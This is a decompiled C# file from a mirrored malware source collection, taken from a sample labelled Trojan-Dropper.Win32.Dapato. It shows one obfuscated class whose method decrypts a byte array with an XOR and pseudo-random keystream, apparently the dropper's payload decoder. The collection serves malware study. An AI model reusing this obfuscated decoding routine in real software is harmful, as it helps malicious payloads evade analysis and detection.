mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 11:26:11 +00:00
53 lines
1.4 KiB
C#
53 lines
1.4 KiB
C#
// Decompiled with JetBrains decompiler
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// Type:
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// Assembly: ss20, Version=1.1.1.1, Culture=neutral, PublicKeyToken=null
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// MVID: 4385E1A7-2FA8-4895-8952-90E8ECDFEF6F
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// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Dropper.Win32.Dapato.awrl-32c3dc21d69dcf58806a205f7919ff769fda4c1659e61dc7d2c60838850ea6d5.exe
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internal static class \u0002\u2000
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{
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public static byte[] \u0002(byte[] _param0, byte[] _param1)
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{
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int num1 = (int) _param0[1];
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if (true)
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goto label_9;
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label_1:
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int length = _param1.Length;
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if (true)
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goto label_10;
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label_2:
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int num2;
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byte num3;
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int num4 = (int) (byte) (num2 + 11 ^ (int) num3 + 7);
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if (true)
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goto label_11;
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label_3:
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byte num5;
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uint num6 = (uint) (((int) _param0[0] | (int) _param0[2] << 8) + ((int) num5 << 3));
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ushort num7 = 0;
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for (int index = 0; index < num2; ++index)
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{
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if ((index & 1) == 0)
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{
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num6 = (uint) ((int) num6 * 214013 + 2531011);
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num7 = (ushort) (num6 >> 16);
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}
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byte num8 = (byte) num7;
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num7 >>= 8;
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byte num9 = _param1[index];
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_param1[index] = (byte) ((uint) ((int) num9 ^ (int) num3 ^ (int) num5 + 3) ^ (uint) num8);
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num5 = num9;
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}
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return _param1;
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label_11:
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num5 = (byte) num4;
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goto label_3;
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label_10:
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num2 = length;
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goto label_2;
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label_9:
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num3 = (byte) num1;
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goto label_1;
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}
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}
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